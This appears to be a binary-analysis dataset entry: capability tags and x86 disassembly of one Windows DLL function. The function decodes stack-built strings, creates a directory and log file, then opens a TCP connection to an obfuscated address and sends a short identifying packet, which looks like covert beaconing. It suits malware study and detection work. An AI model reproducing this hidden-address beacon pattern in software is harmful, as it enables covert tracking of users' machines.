Function at 0x10013230
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create directory
Create tcp socket
Create udp socket
Initialize winsock library
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ac
mov eax, dword [0x1001f008]
xor eax, esp
mov dword [esp + 0x2a8], eax
push ebx
push esi
push edi
call dword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
push 0
push 0x2710
push edx
push eax
call fcn.10018de0
mov esi, eax
mov ebx, edx
push 0
mov dword [esp + 0x18], esi
mov dword [esp + 0x28], ebx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx eax, ax
lea ecx, [esp + 0x64]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x80]
push 0
sub esp, 0xc
mov dword [esp + 0x74], 0xbb
sub eax, ecx
mov dword [esp + 0x78], 0x4e
mov edi, esp
mov dword [esp + 0x2c], eax
sar eax, 2
mov dword [esp + 0x7c], 0xbd
mov dword [esp + 0x80], 0xc4
mov dword [esp + 0x84], 0xb7
mov dword [esp + 0x88], 0xb3
mov dword [esp + 0x8c], 0xc1
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [esp + 0x20], eax
test eax, eax
je 0x10013334
push eax
mov ecx, edi
call fcn.10009290
push dword [esp + 0x2c]
mov esi, dword [edi]
lea eax, [esp + 0x78]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [esp + 0x2c]
add esp, 0xc
lea eax, [esi + eax*4]
mov esi, dword [esp + 0x24]
mov dword [edi + 4], eax
lea ecx, [esp + 0x3c]
call fcn.10015790
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x10013348
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esp + 0x40]
cmp ecx, 0x10
jb 0x10013387
mov edx, dword [esp + 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001337d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1001337d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10017f6a
add esp, 8
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x90]
movzx eax, ax
push eax
push ebx
push esi
lea eax, [esp + 0xe8]
mov dword [esp + 0x9c], 0x92
sub eax, ecx
mov dword [esp + 0xa0], 0x25
sub esp, 0xc
mov dword [esp + 0xb0], 0x94
mov edi, esp
mov dword [esp + 0xb4], 0x9b
mov ebx, eax
mov dword [esp + 0xb8], 0x8e
mov dword [esp + 0xbc], 0x8a
mov dword [esp + 0xc0], 0x98
mov dword [esp + 0xc4], 0x54
mov dword [esp + 0xc8], 0x4a
mov dword [esp + 0xcc], 0x91
mov dword [esp + 0xd0], 0x91
mov dword [esp + 0xd4], 0x89
mov dword [esp + 0xd8], 0x84
mov dword [esp + 0xdc], 0x4a
mov dword [esp + 0xe0], 0x89
mov dword [esp + 0xe4], 0x53
mov dword [esp + 0xe8], 0x87
mov dword [esp + 0xec], 0x9e
mov dword [esp + 0xf0], 0x93
sar ebx, 2
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [esp + 0x28], eax
test ebx, ebx
je 0x100134bd
push ebx
mov ecx, edi
call fcn.10009290
push dword [esp + 0x28]
mov esi, dword [edi]
lea eax, [esp + 0xac]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
lea eax, [esi + ebx*4]
add esp, 0xc
mov dword [edi + 4], eax
lea ecx, [esp + 0x44]
call fcn.10015790
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x100134d1
mov eax, dword [eax]
push eax
lea eax, [esp + 0x290]
push eax
call fcn.10001080
mov ecx, dword [esp + 0x54]
add esp, 0x14
cmp ecx, 0x10
jb 0x1001351a
mov edx, dword [esp + 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10013510
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10013510
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10017f6a
add esp, 8
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], 0x84
lea eax, [esp + 0x38]
mov dword [esp + 0x30], 0xd
sub eax, ecx
mov dword [esp + 0x34], 0x6f
sub esp, 0xc
mov dword [esp + 0x1c], eax
mov edi, esp
mov ebx, eax
sar ebx, 2
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
test ebx, ebx
je 0x10013584
push ebx
mov ecx, edi
call fcn.10009290
push dword [esp + 0x1c]
mov esi, dword [edi]
lea eax, [esp + 0x3c]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
lea eax, [esi + ebx*4]
add esp, 0xc
mov dword [edi + 4], eax
lea ecx, [esp + 0x70]
call fcn.10015790
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x10013598
mov eax, dword [eax]
push eax
lea eax, [esp + 0x284]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ecx, dword [esp + 0x80]
add esp, 8
mov dword [0x1001f7cc], eax
cmp ecx, 0x10
jb 0x100135ea
mov edx, dword [esp + 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100135e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100135e0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10017f6a
add esp, 8
push 3
push 0x20
push 0x64
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], 0x3b
lea eax, [esp + 0x54]
mov dword [esp + 0x3c], 0x16
sub eax, ecx
mov dword [esp + 0x40], 0x79
sub esp, 0xc
mov dword [esp + 0x50], 0x3b
mov edi, esp
mov dword [esp + 0x54], 0x79
mov ebx, eax
mov dword [esp + 0x58], 0x3b
mov dword [esp + 0x5c], 0x79
sar ebx, 2
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [esp + 0x28], eax
test ebx, ebx
je 0x1001367a
push ebx
mov ecx, edi
call fcn.10009290
push dword [esp + 0x28]
mov esi, dword [edi]
lea eax, [esp + 0x48]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
lea eax, [esi + ebx*4]
add esp, 0xc
mov dword [edi + 4], eax
lea ecx, [esp + 0x7c]
call fcn.10015790
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x1001368e
mov eax, dword [eax]
push eax
push dword [0x1001f7cc]
call fcn.1000feb0
mov ecx, dword [esp + 0x8c]
add esp, 0x14
cmp ecx, 0x10
jb 0x100136d8
mov edx, dword [esp + 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100136ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100136ce
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10017f6a
add esp, 8
push dword [0x1001f7cc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov eax, dword [esp + 0x18]
add esp, 4
mov dword [0x1001f7d0], eax
mov eax, dword [esp + 0x24]
mov dword [0x1001f7d4], eax
lea eax, [esp + 0xe0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push 1
push 2
mov dword [esp + 0x94], 0
mov dword [esp + 0x98], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x1001f7b8], eax
lea ecx, [esp + 0x2c]
mov eax, 2
mov dword [esp + 0x2c], 0x75
mov word [esp + 0x80], ax
sub esp, 0xc
lea eax, [esp + 0x70]
mov dword [esp + 0x3c], 0x44
sub eax, ecx
mov dword [esp + 0x40], 0x78
mov edi, esp
mov dword [esp + 0x44], 0x79
mov ebx, eax
mov dword [esp + 0x48], 0x72
mov dword [esp + 0x4c], 0x76
mov dword [esp + 0x50], 0x77
mov dword [esp + 0x54], 0x7d
mov dword [esp + 0x58], 0x72
mov dword [esp + 0x5c], 0x7d
mov dword [esp + 0x60], 0x77
mov dword [esp + 0x64], 0x72
mov dword [esp + 0x68], 0x76
mov dword [esp + 0x6c], 0x7d
sar ebx, 2
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [esp + 0x1c], eax
test ebx, ebx
je 0x10013802
push ebx
mov ecx, edi
call fcn.10009290
push dword [esp + 0x1c]
mov esi, dword [edi]
lea eax, [esp + 0x3c]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
lea eax, [esi + ebx*4]
add esp, 0xc
mov dword [edi + 4], eax
lea ecx, [esp + 0x70]
call fcn.10015790
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x10013816
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x84], eax
cmp ecx, 0x10
jb 0x1001385c
mov edx, dword [esp + 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10013852
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10013852
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10017f6a
add esp, 8
push 0x1d74
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x82], ax
lea eax, [esp + 0x80]
push 0x10
push eax
push dword [0x1001f7b8]
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [esp + 0x24]
mov eax, edx
mov ebx, dword [esp + 0x14]
mov ecx, ebx
shrd ecx, eax, 8
mov eax, edx
mov byte [esp + 0x275], bl
mov byte [esp + 0x276], cl
mov ecx, ebx
shrd ecx, eax, 0x10
mov eax, edx
mov byte [esp + 0x279], dl
shrd ebx, eax, 0x18
mov eax, edx
mov dword [esp + 0x270], 0x2001000d
sar eax, 8
mov byte [esp + 0x27a], al
mov eax, edx
sar eax, 0x10
mov byte [esp + 0x27b], al
mov eax, dword [esp + 0x18]
mov byte [esp + 0x27d], al
shr eax, 8
push 0
mov byte [esp + 0x282], al
lea eax, [esp + 0x274]
push 0xf
push eax
push dword [0x1001f7b8]
sar edx, 0x18
mov byte [esp + 0x284], 3
mov byte [esp + 0x287], cl
mov byte [esp + 0x288], bl
mov byte [esp + 0x28c], dl
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x2b4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10017d2f
mov esp, ebp
pop ebp
ret